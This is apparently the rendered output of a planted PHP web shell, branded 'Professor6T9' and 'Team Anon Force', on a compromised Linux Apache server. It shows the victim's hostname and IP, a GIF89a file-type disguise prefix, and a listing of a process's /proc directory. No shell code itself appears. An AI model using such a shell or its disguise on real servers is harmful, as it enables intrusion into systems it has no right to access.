GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
 Apache
 198.177.124.167
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-18 01:43:51
.. dir - mysql/mysql 0555 2026-02-12 01:47:00
attr dir - mysql/mysql 0555 2026-02-21 03:55:45
fd dir - mysql/mysql 0500 2026-02-21 03:55:45
fdinfo dir - mysql/mysql 0500 2026-02-21 03:55:45
net dir - mysql/mysql 0555 2026-02-21 03:55:45
ns dir - mysql/mysql 0511 2026-02-21 03:55:45
auxv 0 B mysql/mysql 0400 2026-02-21 03:55:45
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
children application/x-empty 0 B mysql/mysql 0444 2026-02-21 03:55:45
clear_refs 0 B mysql/mysql 0200 2026-02-21 03:55:45
cmdline text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
comm text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 03:55:45
environ 0 B mysql/mysql 0400 2026-02-21 03:55:45
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
io 0 B mysql/mysql 0400 2026-02-21 03:55:45
limits text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
maps 0 B mysql/mysql 0444 2026-02-21 03:55:45
mem 0 B mysql/mysql 0600 2026-02-21 03:55:45
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
numa_maps 0 B mysql/mysql 0444 2026-02-21 03:55:45
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 03:55:45
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 03:55:45
pagemap 0 B mysql/mysql 0400 2026-02-21 03:55:45
patch_state 0 B mysql/mysql 0400 2026-02-21 03:55:45
personality 0 B mysql/mysql 0400 2026-02-21 03:55:45
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
sched text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
smaps 0 B mysql/mysql 0444 2026-02-21 03:55:45
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 03:55:45
stack 0 B mysql/mysql 0400 2026-02-21 03:55:45
stat text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
statm text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
status text/plain 0 B mysql/mysql 0444 2026-02-21 03:55:45
syscall 0 B mysql/mysql 0400 2026-02-21 03:55:45
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 03:55:45
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 03:55:45
© Professor6T9